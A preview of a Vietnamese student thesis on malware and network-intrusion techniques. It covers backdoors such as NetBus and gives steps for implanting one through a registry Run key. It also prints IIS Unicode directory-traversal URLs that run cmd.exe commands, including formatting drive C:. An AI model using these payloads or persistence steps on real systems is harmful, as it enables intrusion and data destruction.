Tải bản đầy đủ (.doc) (31 trang)

Báo cáo tốt nghiệp: Tìm hiểu phần mềm phá hoại và các giải pháp xâm nhập mạng dùng riêng có kết nối Internet doc

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (413.31 KB, 31 trang )

Báo cáo tốt nghiệp
Tìm hiểu phần mềm phá hoại
và các giải pháp xâm nhập
mạng dùng riêng có kết nối
Internet
Tìm hiểu phần mềm phá hoại và các giải pháp xâm nhập mạng dùng riêng có kết nối
Internet
MỤC LỤC
KẾT LUẬN 29
Sinh viên:Vũ Thị Thu Hằng - Lớp CT 702 - Trường ĐH DLHP
2
Tìm hiểu phần mềm phá hoại và các giải pháp xâm nhập mạng dùng riêng có kết nối
Internet
Lời mở đầu
Mục tiêu của việc người ta nối mạng là để nhiều người có thể dùng chung
tài nguyên từ những vị trí địa lý khác nhau, chính vì thế mà các tài nguyên sẽ rất
phân tán, dẫn đến một diều tất yếu là dễ bị xâm phạm gây mất mát dữ liệu,
thông tin.
Càng giao thiệp rộng thì càng dễ bị tấn công, đó là quy luật.
Mọi nguy cơ trên mạng đều có thể nguy hiểm: Một lỗi nhỏ của các hệ
thống sẽ được lợi dụng với tần suất cao, lỗi lớn thì thiệt hại lớn ngay lập tức,
tóm lại trên một quy mô rộng lớn như Internet thì mọi khe hở hay lỗi hệ thống
đều có nguy cơ gây ra thiệt hại như nhau.
Theo CERT (Computer Emegency Response Team):
1989: có 200 vụ tấn công, truy nhập trái phép trên mạng được báo cáo.
1991: 400 vụ.
1993: 1400vụ.
1994: 2241 vụ.
1998: 3734 vụ.
1999: 9589 vụ
2000: 21756 vụ


2003: 137529 vụ
2005: 535000 vụ
Như vậy số vụ tấn công ngày càng gia tăng, mặt khác các kỹ thuật ngày
càng mới. Điều này cũng dễ hiểu, một vấn đề luôn luôn có hai mặt đối lập. Công
nghệ thông tin, mạng Internet phát triển như vũ bão thì tất yếu cũng kéo theo
nạn trộm cắp, tấn công, phá hoại thông tin trên mạng.
Sinh viên:Vũ Thị Thu Hằng - Lớp CT 702 - Trường ĐH DLHP
3
Tìm hiểu phần mềm phá hoại và các giải pháp xâm nhập mạng dùng riêng có kết nối
Internet
Vì vậy vấn đề tìm hiểu các cách thức mà bọn tội phạm thường sử dụng để
tấn công, phá hoại các mạng máy tính dùng riêng khi được kết nối Internet quốc
tế là điều quan trọng và cần thiết. Trên cơ sở đó người ta có được biện pháp đề
phòng có hiệu quả.
Đề tài: “Tìm hiểu một số phần mềm phá hoại và các giải pháp xâm nhập
mạng dùng riêng” được đề xuất và thực hiện nhằm mục đích tìm hiểu một số
phần mềm phá hoại và nghiên cứu một số giải pháp xâm nhập mạng dùng riêng
hiện đang được ứng dụng rộng rãi. Kết quả nghiên cứu của em gồm 4 chương và
phần kết luận.
Chương 1: Một số phương pháp tấn công và kỹ thuật xâm nhập mạng máy tính
Chương 2: Một số nguyên tắc tấn công trên mạng máy tính
Chương 3: Phân tích một số phần mềm mẫu
Chương 4: Một số giải pháp cụ thể tấn công trên mạng máy tính
Trong đó em đã tập trung đi sâu vào 2 chương là chương 3 và chương 4.
Việc tìm hiểu phân tích các giải pháp tấn công trên mạng là vấn đề rất khó
khăn, đặc biệt đối với em. Do đó, dù em đã có nhiều cố gắng nhưng một mặt do
thời gian và kiến thức của em còn nhiều hạn chế, mặt khác các tài liệu tham
khảo lại chủ yếu bằng tiếng Anh và tiếng Pháp cho nên kết quả tìm hiểu, nghiên
cứu của em chưa sâu sắc và toàn diện. Em rất mong được sự chỉ bảo của các
thầy, cô và các bạn đồng nghiệp. Em xin chân thành cảm ơn.

Sinh viên
Vũ Thị Thu Hằng
Sinh viên:Vũ Thị Thu Hằng - Lớp CT 702 - Trường ĐH DLHP
4
Tìm hiểu phần mềm phá hoại và các giải pháp xâm nhập mạng dùng riêng có kết nối
Internet
Chương 1 MỘT SỐ PHƯƠNG PHÁP
TẤN CÔNG VÀ KỸ THUẬT XÂM NHẬP MẠNG
1.1 Thực trạng tấn công của tội phạm trên mạng
Với sự phát triển mạnh mẽ và sự ảnh hưởng rộng rãi của Internet khiến
cho mạng máy tính sinh ra một tầng lớp mới - những tay hacker (là những người
có niềm đam mê rất lớn đối với máy tính,với công nghệ thông tin). Hacker được
chia làm hai phái: hacker “mũ trắng”(white-hat hacker) và hacker “mũ đen”
(black-hat hacker).
Phần lớn các cuộc tấn công trên mạng được thực hiện thông qua việc sử
dụng một hoặc nhiều công cụ phần mềm. Trong đồ án này em nghiên cứu các
phần mềm phá hoại. Phần mềm phá hoại là những phần mềm được thiết kế, xây
dựng nhằm mục đích tấn công gây tổn thất hay chiếm dụng bất hợp pháp tài
nguyên của máy tính mục tiêu( máy tinh bị tấn công ). Những phần mềm này
thường được che dấu hay ngụy trang như là phần mềm hợp lệ, công khai hoặc
bí mật thâm nhập vào máy tính mục tiêu. Những phần mềm phá hoại khác nhau
có phương thức và nguy cơ gây hại khác nhau.
Các vụ tấn công trên mạng ngày càng gia tăng cả về quy mô và tính chất
nguy hiểm.
Trong tương lai, những kẻ viết virus có thể gia tăng khả năng điều khiển
lên virus của mình sau khi đã phát tán chúng trên mạng. Ngày càng nhiều sâu
máy tính có chứa backdoor và tác giả của chúng có thể “nâng cấp” một cách
trực tiếp để vượt qua các phần mềm diệt virus hay bổ sung thêm tính năng. Hơn
nữa, sâu máy tính còn có khả năng tự thiết lập các kênh liên lạc riêng giữa chúng
để tập hợp lại và nâng cấp. Điều này không chỉ giúp chúng tránh khỏi sự phát

hiện của các chương trình diệt virus mà còn gia tăng đáng kể sức tàn phá.
Ngày nay, vấn đề tấn công trên mạng đã không còn chỉ là “trò chơi” của
giới hacker mà nhiều quốc gia đã tận dụng khả năng này phục vụ các vụ đích
Sinh viên:Vũ Thị Thu Hằng - Lớp CT 702 - Trường ĐH DLHP
5
Tìm hiểu phần mềm phá hoại và các giải pháp xâm nhập mạng dùng riêng có kết nối
Internet
chính trị, quân sự. Ở nhiều quốc gia, nhất là các quốc gia phát triển, máy tính
được ứng dụng ở mọi nơi, mọi lĩnh vực, trong an ninh quốc phòng, vì vậy những
khả năng gây phương hại cho đối phương bằng các hoạt động tấn công trên
mạng viễn thông - tin học là vô cùng to lớn.
Hiện nay các nước đều có các: “Cục tác chiến điện tử” trên mạng. Hàng
năm các nước này đã chi ra hàng trăm triệu USD phục vụ cho việc nghiên cứu
này như Trung Quốc, Đài Loan, Hàn Quốc, Thái Lan, v.v…
(Theo tạp chí khoa học Australia, số 9 năm 2005 )
Tấn công trên mạng nhằm vào một hệ thống máy tính ở đây là những hành
động nhằm làm ảnh hưởng đến sự ổn định của hệ thống, truy nhập bất hợp pháp
đến các tài nguyên của hệ thống, làm sai lệch hoặc lấy hoặc lấy cắp thông tin…
Tấn công trên mạng là vấn đề khó. Việc tấn công có thể thực hiện được
hay không có đảm bảo thành công hay không phụ thuộc vào rất nhiều yếu tố.
- Về khách quan, nó phụ thuộc vào hệ thống người ta định tấn công.
- Về mặt chủ quan, nó phụ thuộc vào khả năng của người tấn công.
Các công cụ sử dụng để tấn công là một thành phần hết sức quan trọng.
Người ta có thể sử dụng các công cụ có sẵn (vốn đã có khá nhiều ) hay tự tạo ra
công cụ mới tuỳ theo mục đích, độ phức tạp và hiệu quả mong muốn.
Để giành thắng lợi trong một cuộc tấn công có rất nhiều khó khăn. Nhưng
điều đó là hợp lý bởi đối phương, khi bảo vệ hệ thống của họ, cũng như người ta
luôn cố gắng cao nhất để đảm bảo an toàn cho mình. Và khó có thể thành công
nếu thiếu đi việc tìm hiểu đối phương và chuẩn bị chu đáo từ phía người ta.
Thường phải sử dụng nhiều phương pháp tổng hợp, kể cả các biện pháp tổ

chức lẫn các giải pháp công nghệ. Một số phương pháp tấn công và kỹ thuật
xâm nhập mạng quan trọng như sau:
1.2 Các phương pháp tấn công
1.2.1 Tấn công trực tiếp
Sinh viên:Vũ Thị Thu Hằng - Lớp CT 702 - Trường ĐH DLHP
6
Tìm hiểu phần mềm phá hoại và các giải pháp xâm nhập mạng dùng riêng có kết nối
Internet
1.2.2 Nghe trộm
1.2.3 Giả mạo địa chỉ
Hai dạng tấn công dựa trên việc giả mạo địa chỉ là:
- Giả mạo địa chỉ máy gửi (Source addres).
- Kẻ trung gian (Man in the middle).
1.2.4 Vô hiệu hoá các chức năng của hệ thống mục tiêu
- Từ chối dịch vụ (DOS – Denial of Service).
- Từ chối dịch vụ mạng (Network denial of service).
1.2.5 Sử dụng lỗi của người quản trị hệ thống
1.3 Các kỹ thuật xâm nhập mạng
1.3.1 Rình mò (Snooping)
1.3.2 Đánh lừa (Spoofing)
1.3.3 Điệp viên (Agent)
Chương 2. MỘT SỐ NGUYÊN TẮC TẤN CÔNG TRÊN MẠNG
2.1 Phát hiện điểm yếu trong cơ chế bảo mật của đối phương.
Muốn thực hiện tấn công thành công một mục tiêu phải tìm hiểu, nghiên
cứu rất kỹ mục tiêu đó. Một hệ thống đảm bảo an ninh an toàn máy tính thường
bao gồm một số yếu tố chính sau đây:
- Yếu tố tổ chức.
- Yếu tố kỹ thuật, công nghệ.
Mục đích của công tác dò tìm mục tiêu là bằng các biện pháp khác nhau
để phát hiện những điểm yếu trong hệ thống bảo mật (về mặt tổ chức và kỹ thuật

công nghệ) để quyết định sử dụng giải pháp tấn công hợp lý, để cài cắm “điệp
viên” vào máy đối phương.
Sinh viên:Vũ Thị Thu Hằng - Lớp CT 702 - Trường ĐH DLHP
7
Tìm hiểu phần mềm phá hoại và các giải pháp xâm nhập mạng dùng riêng có kết nối
Internet
Mỗi hệ thống máy tính đều có các điểm yếu - các lỗ hổng bảo mật. Dò tìm
được các lỗ hổng bảo mật này đã là một bảo đảm quan trọng cho việc thắng lợi
của việc tấn công. Tuy nhiên vấn đề rất quan trọng và thiết yếu đặt ra là tìm ở
đâu các lỗ hổng đó và bằng cách nào. Có hai hướng tiếp cận, một là về góc độ
chiến thuật và hai là từ góc độ kỹ thuật.
Một số diễn đàn trao đổi vầ lỗi bảo mật: diễn đàn Bugtraq
(uify), diễn đàn Tlsecurity (), diễn
đàn hackerVN (), …
2.2 Triệt để lợi dụng cửa sau để tấn công.
Cửa sau (Backdoor) là một công cụ phổ biến trong giới hacker. Việc đột
nhập vào một hệ thống máy tính nào đó nói chung là rất khó khăn, vì thế sau khi
đột nhập người ta muốn để lại một công cụ nào đó giúp dễ dàng xâm nhập trong
những lần sau. Backdoor sinh ra là để đáp ứng yêu cầu đó.
Tóm lại Backdoor / Trojan được hiểu như là:
- Một chương trình trái phép (thường núp dưới tên của một chương trình
hợp lệ) thực hiện các chức năng mà người sử dụng không biết đến cũng như
không mong muốn.
- Một chương trình hợp lệ nhưng bị cài một số đoạn mã bất hợp pháp, các
đoạn mã này thực hiện các chức năng mà người sử dụng không biết đến cũng
như không mong muốn.
Nguyên tắc hoạt động của Backdoor khá đơn giản: Khi chạy trên máy
đích nó cố gắng không gây bất kỳ điều gì khả nghi và âm thầm thường trực trên
bộ nhớ, mở một “cổng hậu” cho phép người tấn công kết nối và điều khiển máy
đó. Với nguyên lý hoạt động như vậy Backdoor còn được gọi là công cụ quán trị

từ xa (RAT Remote Administrastor Tool). Như vậy một Backdoor điển hình
gồm hai thành phần:
♦ Thành phần Server nằm trên máy đích.
Sinh viên:Vũ Thị Thu Hằng - Lớp CT 702 - Trường ĐH DLHP
8
Tìm hiểu phần mềm phá hoại và các giải pháp xâm nhập mạng dùng riêng có kết nối
Internet
♦ Thành phần Client nằm trên máy tấn công



Tấn công bằng Backdoor cần đặc biệt chú ý hai vấn đề:
♦ Backdoor mạnh phải có thành phần Server nhỏ, gọn, có khả năng thực thi
nhiều chức năng với tốc độ cao để tránh gây nghi ngờ.
♦ Server cần có khả năng ngụy trang ẩn nấp kín đáo để không bị phát hiện.
Có vài giải pháp thông dụng để thực hiện:
♦ Thiết kế Backdoor có chức năng sửa những tham số dòng lệnh của chính
nó để khi chạy mang một tên (hợp lệ) khác.
♦ Backdoor có chức năng sửa một số thường trình trong các thư viện hệ
thống để nó không thực hiện mọi tiến trình đang thực thi, trong đó có tiến
trình của Backdoor server.
♦ Backdoor được gắn với thường trình điều khiển ngắt khiến nó không hiện
trong bảng tiến trình.
♦ Người tấn công có thể sửa nhân hệ điều hành đích để ẩn đi những tiến
trình nhất định (trong trường hợp này là tiến trình Backdoor server).
Chức năng của một Backdoor được qui định trong thành phần server. Các chức
năng thường gặp là:
♦ Keylogging (bắt trộm phím).
♦ Screen capturing (chụp ảnh màn hình).
Sinh viên:Vũ Thị Thu Hằng - Lớp CT 702 - Trường ĐH DLHP

9
Máy
tấn
công
Máy
đích
Giao tiếp bình thường
Back
Back
Giao tiếp cửa sau
Hình 3.1.1:Mô hình hoạt động của backdoor
Tìm hiểu phần mềm phá hoại và các giải pháp xâm nhập mạng dùng riêng có kết nối
Internet
♦ Password stealing: Lấy trộm các loại password .
♦ File downloading: Cho phép download một hay nhiều file từ máy mục tiêu.
♦ File uploading: Cho phép upload một hay nhiều file lên máy đích.
♦ Running application (thực thi ứng dụng).
♦ File managing (quản lý file).
♦ Post redirecting (định hướng lại cổng).
Hiện nay trên mạng có rất nhiều loại Backdoor khác nhau và ngày càng
được nâng cấp. Một sô danh sách Backdoor điển hình:
♦ Netbus.
♦ Back Orfice.
♦ Ngoài ra còn có các Backdoor khác cũng nguy hiểm không kém như Hack
attack, Girlfriend, Netthief, Netspy, NetMonitor, Socket de Trojen (Pháp)…
Tóm lại Backdoor là một công cụ tấn công hữu hiệu có thể khai thác triệt
để phục vụ những yêu cầu chiến lược của người ta và cũng là vũ khí nguy hiểm
người ta cần đế phòng không để người khác lợi dụng tấn công mình.
2.3 Tận dụng các công cụ sẵn có.
Sử dụng tối đa khả năng của các công cụ là nguyên tắc thiết yếu trong

quá trình thực hiện tấn công trên mạng. Các công cụ thường được sử dụng để
đơn giản hóa những tác vụ nhất định trong quá trình chung nhằm nâng cao tốc
độ, đảm bảo hiệu quả công việc tấn công.
Từ các công cụ do chính hệ điều hành cung cấp tới những công cụ do
hãng thứ hai, các nhóm chuyên về bảo mật, các hacker hoặc các tổ chức hacker
quảng bá, tất cả đều có thể sử dụng vào cuộc tấn công, miễn là cách khai thác
hợp lý, kết hợp các công cụ một cách hiệu quả.
Cách sử dụng các công cụ để cấy Trojan lên một máy khác thông qua chia sẻ
tài nguyên trên máy đó. Người ta muốn có một tài liệu quan trọng được lưu ở ổ đĩa
Sinh viên:Vũ Thị Thu Hằng - Lớp CT 702 - Trường ĐH DLHP
10
Tìm hiểu phần mềm phá hoại và các giải pháp xâm nhập mạng dùng riêng có kết nối
Internet
D: và không share full ổ đĩa C: ở máy mục tiêu. Tuy nhiên, để thực hiện trao đổi
thông tin với các máy khác, ổ đĩa C: được share với mật khẩu, mật khẩu này được
thay đổi thường xuyên. Có thể chiếm đoạt các văn bản trên bằng cách trước tiên sử
dụng một công cụ bẻ khóa chia sẻ Passware Kit
().
Công cụ này bẻ khóa làm việc rất nhanh và hiệu quả, trong phần lớn trường hợp
nó sẽ tìm ra mật khẩu chia sẻ tài nguyên trong vòng một vài phút tùy thuộc vào
độ phức tạp của mật khẩu.
Sau đó, ta chỉ việc copy file server của Netbus 1.7 (patch.exe) vào thư
mục bất kỳ ở ổ C:, giả sử C:\windows\. Tiếp theo để kích hoạt Netbus, ta phải
dùng đến dịch vụ Remote Registry Service của Windows để sửa đổi Registry
máy đích làm cho file patch.exe tự đông chạy từ lần khởi động tiếp theo. Khi
dịch vụ này được cài đặt trên máy đích, ta có thể sử dụng regedit.exe của
Windows để nạp và sửa đổi Registry máy đó. Thêm vào đó một khóa ở
HKEY_CURRENT_USER\Software\Microsoft\Windows\Current\Version\Run hoặc
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current\Version\Run để
chạy patch.exe: Value type: String

Value name: Patch
Value đặt C:\windows\patch.exe
Lần sau khi máy mục tiêu hoạt động, chúng ta chạy Netbus client trên máy
mình, connect vào và làm được rất nhiều điều theo khả năng của Netbus server.
2.4 Khai thác tối đa điểm yếu của mục tiêu tấn công đặc biệt các lỗ hổng
của hệ thống và các dịch vụ.
Lỗ hổng bảo mật là những lỗi trong một hệ thống mà người khác có thể tận
dụng để thực hiện những công việc vốn không được hệ thống đó cung cấp và thường
là dùng vào mục đích tấn công. Trên thực tế, từ hệ điều hành, trình duyệt Web, các
hệ cơ sở dữ liệu, thậm chí ngay cả chương trình diệt virus, tất cả ít nhiều đều có lỗi.
Sinh viên:Vũ Thị Thu Hằng - Lớp CT 702 - Trường ĐH DLHP
11
Tìm hiểu phần mềm phá hoại và các giải pháp xâm nhập mạng dùng riêng có kết nối
Internet
Bảng liệt kê một số sản phẩm có nhiều lỗ hổng nhất.
STT Tên sản phẩm Số lỗ hổng bảo mật
1 Microsoft Internet Explore 69
2 Microsoft Windows 98 35
3 Microsoft Windows 95 30
4 Microsoft Outlook 28
5 Netscape Navigator 22
6 Microsoft Outlook Express 16
7 Microsoft Windows ME 10
8 Microsoft Excel 10
9 Microsoft Word 9
10 Qualcomm Eudora 8
11 Symantec Norton Anti Virus 7
12 AOL instanl Messenger 6
13 Mirabilis ICQ 6
14 Sun Java 5

15 Microsoft Powerpoint 5
Hình 2.3.1: Danh sách một số phần mềm nhiều lỗ hổng bảo mật nhất
(Nguồn: www.securityfocus.com tháng 11/2001)
Trong đồ án này em xin trình bày cụ thể phương pháp tấn công IIS server
bằng cách lợi dụng lỗi Unicode: Có thể xem nội dung ổ đĩa C: trên đó cài IIS
server 5.0 bằng URL sau khi gõ ở thanh address của trình duyệt, giả thiết rằng
địa chỉ trang web đó là , mặc dù vẫn có một thông
báo lỗi CGI:
%c1%1c /winnt/system32/cmd.exe?/c+dir+c:\

Cũng như rất nhiều loại web server trước đây như Compaq insight
Manager 4.x, MS Index Server 2.0, HP JetAdmin 5.6,… IIS server bị mắc một
lỗi gọi là “dot dot directory traversal attack” (tấn công bằng cách lần ngược thư
mục do lỗi “dot dot”). Khi một trong các loại server trên nhận một xâu URL có
chứa các xâu con “ /” (hoặc “ \” tùy loại server) thì mỗi xâu con này chuyển
đường dẫn hiện thời ở server lên mức cha của nó (tương đương với câu lệnh
“cd ” của DOS) và dần dần ra ngoài thư mục web - điều này vốn không hợp lệ.
Sinh viên:Vũ Thị Thu Hằng - Lớp CT 702 - Trường ĐH DLHP
12
Tìm hiểu phần mềm phá hoại và các giải pháp xâm nhập mạng dùng riêng có kết nối
Internet
Kết hợp với một đường dẫn thích hợp phía cuối URL, nó cho phép người tấn
công thực thi lệnh nào đó trên máy chủ web. IIS server và một số web server sửa
lỗi bằng cách kiểm tra URL ở thanh địa chỉ của trình duyệt và từ chối, không
cho phép thực thi nếu như trong đó chứa xâu con “ /” hay “ \”.
Tuy vậy, hacker đã sáng tạo ra thủ thuật dùng unicode để lọt qua chế độ
phòng vệ này. Chuẩn unicode từ Ver. 2.0 trở lên cho phép một ký tự có nhiều
mã hóa khác nhau, đây chính là nơi để lợi dụng.
Cách mã hóa như vậy được gọi là mã hóa unicode rất dài (unicode very
long representation). Khi nhận một URL, một server tốt phải ngăn chặn các cách

mã hóa dài này mà chỉ cho phép một cách mã hóa chuẩn. Tuy nhiên, IIS lại
không làm như vậy, khi nhận một URL trước tiên nó kiểm tra sự tồn tại trực tiếp
của các xâu con “/”, “\” và các mã hóa Unicode thông thường (ứng với một biểu
diễn unicode ngắn nhất) của các xâu con ấy. Nếu tồn tại các xâu như vậy, IIS sẽ
từ chối truy nhập đó – đây chính là cách mà IIS tự bảo vệ trước kiểu tấn công
“dot dot directory traversal attack”. Ngược lại, IIS sẽ thực hiện yêu cầu trong
URL đó và lúc này IIS mới giải mã các mã hóa dài của ký tự gạch chéo (slash
“/” và backslash “\”) trong URL và tất nhiên, chúng trở thành các ký tự “/” và
“\” mà IIS không kiểm tra được nữa. Do vậy, thay vì đưa xâu con “ /”, “ \” vào
thanh địa chỉ, người ta thay nó bởi xâu unicode chứa một đoạn mã hóa rất dài
của ký tự “/” “\” như “%c1%1c”, “ c0%f9”, “ e0%80%af%”, “ %fc
%80%80%80%80%af”,…thì IIS sẽ bị đánh lừa và cho rằng đó là một URL hợp
lệ, được quyền thực thi. Kết hợp với những thiết lập cài đặt ngầm định trên máy
đích, đây chính là cách thức thi hành những lệnh của người ta mà server vẫn cho
là hợp lệ.
Do “%c1%1c” là một biểu thức unicode rất dài của ký tự “/” mà IIS
không nhận ra, dòng lệnh trên giành được quyền thực thi. Khi thực thi, xâu
“%c1%1c” được dịch trở lại nguyên dạng ký tự “/” (nhưng IIS đã qua khâu kiểm
tra nên không thực hiện kiểm tra lại ) và địa chỉ truy cập thực chất trở thành:
Sinh viên:Vũ Thị Thu Hằng - Lớp CT 702 - Trường ĐH DLHP
13
Tìm hiểu phần mềm phá hoại và các giải pháp xâm nhập mạng dùng riêng có kết nối
Internet
/ /winnt/system32/cmd.exe?/c+dir+c:\
Đến đây, lỗi kinh điển “dot dot directory traversal attack” xuất hiện và nằm
ngoài khả năng tự bảo vệ của IIS. URL trên với hai xâu con “ /” điều chỉnh thư mục
chứa URL ( theo ngầm định là:
C:\inetpub\scripts) lên hai mức thư mục cao hơn, tức là ra ngoài thư mục giành cho
web (vốn không được phép), trở về thư mục gốc C:. Phần tiếp theo trong URL gắn
tiếp vào đường dẫn đến trình thông dịch lệnh của Windows NT theo chế độ ngầm

định (winnt/system32/cmd.exe) và thực hiện lệnh “dir C:\” liệt kê nội dung ổ đĩa C:.
Do có nhiều cách biểu diễn dạng Unicode rất dài của ký tự “/” và “\”
cũng như có khá nhiều thiết lập ngầm định khi cài đặt Windows NT và IIS nên
tổ hợp chúng lại sẽ tạo nên nhiều URL khác nhau dùng để xâm nhập. Bảng dưới
đây liệt kê một số URL phổ biến:
STT URL
1 /scripts/ %0%af /winnt/system32/cmd.exe?/c+
2 /scripts/ %c1%9c /winnt/system32/cmd.exe?/c+
3 /scripts/ %c1%fc /winnt/system32/cmd.exe?/c+
4 /scripts/ %c0%9c /winnt/system32/cmd.exe?/c+
5 /scripts/ %c0%9f /winnt/system32/cmd.exe?/c+
6 /scripts/ %c1%9a /winnt/system32/cmd.exe?/c+
7 /scripts/ %c1%1c /winnt/system32/cmd.exe?/c+
8 /scripts/ %c1%af /winnt/system32/cmd.exe?/c+
9 /scripts/ %e0%af /winnt/system32/cmd.exe?/c+
Hình 2.3.2. Một số URL dùng khai thác lỗi Unicode trên IIS
Bằng cách trên, người ta đang nắm rất nhiều quyền đối với hệ thống.
Người ta có thể xem nội dung đĩa, nội dung một số file quan trọng, xóa dữ liệu
trên đĩa cững và thậm chí format lại ổ đĩa chỉ bằng các lệnh của DOS. Tiếp tục sử
dụng URL trên, để xem nội dung một file, giả sử autoexec.bat ta gõ ở trình duyệt:

%c1%1c /winnt/system32/cmd.exe?/c+type+c:\autoexec .bat
Để format lại ổ đĩa C:, ta gõ:
Sinh viên:Vũ Thị Thu Hằng - Lớp CT 702 - Trường ĐH DLHP
14
Tìm hiểu phần mềm phá hoại và các giải pháp xâm nhập mạng dùng riêng có kết nối
Internet

%c1%1c /winnt/system32/cmd.exe?/c+format+c:\+/q
Ta cũng có thể chiếm quyền ghi đĩa và thực hiện sửa đổi, tạo mới file

trên server. Truy cập trực tiếp bằng cmd.exe không cho phép điều này nhưng nếu
ta tạo một bản sao khác của trình thông dịch và sử dụng bản sao này thì điều đó
lại được cho là hợp lệ. Thực hiện chiến thuật này thông qua các lệnh sau :
+ Bước 1: Tạo một bản sao mới cmd1.exe của trình thông dịch lệnh DOS:

%c1%1c /winnt/system32/cmd.exe?/c+copy+c:\ winnt/system32/cmd.exe+c /win
nt/system32/cmd1.exe
+ Bước 2: Ghi thêm một số lệnh vào file autoexec.bat:

%c1%1c /winnt/system32/cmd.exe?/c+echo+>>+c:\ autoexec .bat+@echo+Hi hi
hi,KO
Đến đây, người ta đã hiểu bản chất của lỗi unicode trên IIS và phương
pháp cụ thể để khai thác lỗi này. Cần phải nhấn mạnh rằng đây là một lỗi bảo
mật rất nghiêm trọng vì các lý do sau:
+ Dễ dàng khai thác.
+ Tiềm ẩn nguy cơ người tấn công có toàn quyền điểu khiển hệ thống.
Hiện nay Microsoft đã đưa ra các bản patch sửa lỗi trên. Với IIS server
4.0, bản sửa lỗi được phân phối qua địa chỉ:
/>Còn với IIS server 5.0, địa chỉ sửa lỗi là:
/ downloads/critical/q269862
2.5 Nguyên tắc an toàn.
Sinh viên:Vũ Thị Thu Hằng - Lớp CT 702 - Trường ĐH DLHP
15
Tìm hiểu phần mềm phá hoại và các giải pháp xâm nhập mạng dùng riêng có kết nối
Internet
Nhiệm vụ của người ta khi tấn công là không để đối phương biết được gói tin
gốc, hay địa chỉ nguồn gói tin không phải địa chỉ máy của người ta. Một phương pháp
đơn giản và hiệu quả là sử dụng các procxy vô danh (Anonymous Proxy Server).

Để luôn có những thông tin về các proxy miễn phí, có thể thường xuyên truy

cập các trang web hoặc .
Ngoài ra, có thể sử dụng một số chương trình nhằm tạo ra các proxy ảo
ngay trên máy của mình. Một chương trình tiêu biểu trong số đó là chương trình
Anomity 4 proxy.
2.6 Nguyên tắc phối hợp tấn công
Trong quá trình thực hiện tấn công, tuỳ theo đối tượng tấn công và công
cụ có trong tay, người ta có thể sử dụng nhiều biện pháp khác nhau, theo các
trình tự khác nhau để đạt được kết quả cao nhất. Sơ đồ sau thể hiện thứ tự điển
hình của việc áp dụng các nguyên lý đã trình bày vào việc thực hiện một cuộc
tấn công cụ thể:
Sinh viên:Vũ Thị Thu Hằng - Lớp CT 702 - Trường ĐH DLHP
16
Hình 3.5.1: Mô hình giao tiếp giữa hai máy thông qua proxy.
Máy của ta Proxy Máy đối
phương
Gửi yêu cầu
Trả lời
Gửi yêu cầu
Trả lời
Khám phá điểm yếu, lỗ hổng
bảo mật trong hệ thống mục tiêu
Sử dụng các công cụ để khai
thác các điểm yếu của hệ thống
mục tiêu
Tiến hành các biện pháp tấn
công, thu thập thông tin
Tạo đường ngầm (cửa sau),
cài cắm “điệp viên” nếu có thể
Xóa dấu vết
Ngụy trang

Hình 3.6.1: Sơ đồ thứ tự áp dụng các nguyên lý tấn công
Tìm hiểu phần mềm phá hoại và các giải pháp xâm nhập mạng dùng riêng có kết nối
Internet
Chương 3. PHÂN TÍCH MỘT SỐ PHẦN MỀM MẪU
3.1 NETBUS
3.1.1 Khái niệm
Netbus là một công cụ quản trị, điều khiển từ xa máy tính mục tiêu (máy
cần tấn công) trong cùng mạng hoặc trên Internet.
3.1.2 Cấu trúc
Netbus gồm hai phần: Thành phần server và thành phần client.
1. Thành phần server, Patch.exe , cài trên máy mục tiêu.
2. Thành phần client, Netbus.exe, chạy trên máy của người ta (máy tấn công)
3.1.3 Các bước sử dụng
Bước 1: Khởi động
Bước 2: Kết nối
Bước 3: Thực hiện các chức năng

Màn hình giao diện của thành phần client (netbus.exe)
3.1.4 Hướng dẫn sử dụng
Sinh viên:Vũ Thị Thu Hằng - Lớp CT 702 - Trường ĐH DLHP
17
Tìm hiểu phần mềm phá hoại và các giải pháp xâm nhập mạng dùng riêng có kết nối
Internet
1. Điều khiển truy nhập thành phần server – Server admin

2. Đóng mở ổ đĩa CD - ROM – Open/Close CD-ROM
3. Hiện ảnh – Show Image
4. Thay đổi chức năng các phím chuột – Swap mouse
5. Thi hành chương trình trên máy mục tiêu – Start program
6. Hiện hộp thoại – Msg manager


7. Xem màn hình máy server – Screendump
8. Xem thông tin máy mục tiêu – Get info
Sinh viên:Vũ Thị Thu Hằng - Lớp CT 702 - Trường ĐH DLHP
18
Tìm hiểu phần mềm phá hoại và các giải pháp xâm nhập mạng dùng riêng có kết nối
Internet


9. Chạy file nhạc – Play sound

10. Điều khiển máy mục tiêu – Exit windows

11.Gửi thông báo – Send texts
12. Kích hoạt/Đóng cửa sổ - Active windows

13. Đặt vị trí con trỏ chuột – Mouse pos
14. Nhận phím nhập vào của người dùng trên máy mục tiêu – Listen
Sinh viên:Vũ Thị Thu Hằng - Lớp CT 702 - Trường ĐH DLHP
19
Tìm hiểu phần mềm phá hoại và các giải pháp xâm nhập mạng dùng riêng có kết nối
Internet

15. Ghi âm thanh từ máy mục tiêu – Sound system.
16. Điều khiển chuột - Control mouse
17. Mở một trang Web – Go to URL
18. Điều khiển bàn phím – Key Manage

- Chọn Disable keys để nhập vào các phím cần vô hiệu hóa, khi đó sẽ xuất
hiện cửa sổ sau:

19. Làm việc với các file – File manage

Sinh viên:Vũ Thị Thu Hằng - Lớp CT 702 - Trường ĐH DLHP
20
Tìm hiểu phần mềm phá hoại và các giải pháp xâm nhập mạng dùng riêng có kết nối
Internet
3.2 WS_Ping ProPack ()
WS_Ping ProPack là một tập hợp các công cụ chuẩn đoán và thông tin
mạng Internet.
Info cung cấp thông tin (bao gồm tên máy chủ, địa chỉ IP, thông tin liên
hệ, tính hiệu quả của mạng) về một máy chủ hay một thiết bị mạng cụ thể.
Time đồng bộ hóa đồng hồ máy tính cục bộ của bạn với thời gian của
server từ xa và để cho bạn truy vấn thời gian của những server và so sánh những
kết quả đó.
HTML là một công cụ chuẩn đoán để cho bạn truy vấn địa chỉ trang web
(URL) và có thể xem được đầy đủ thông tin về phần header và dữ liệu trang trở
lại bởi server HTTP.
Ping là một công cụ chuẩn đoán mạng để xác nhận kết nối đến hệ thống
đặc biệt trên mạng.
Traceroute là công cụ chuẩn đoán mạng để bạn dò theo và nhìn thấy
hướng đi thực của một gói tin IP tới máy chủ trên mạng Internet.
Sinh viên:Vũ Thị Thu Hằng - Lớp CT 702 - Trường ĐH DLHP
21
Tìm hiểu phần mềm phá hoại và các giải pháp xâm nhập mạng dùng riêng có kết nối
Internet
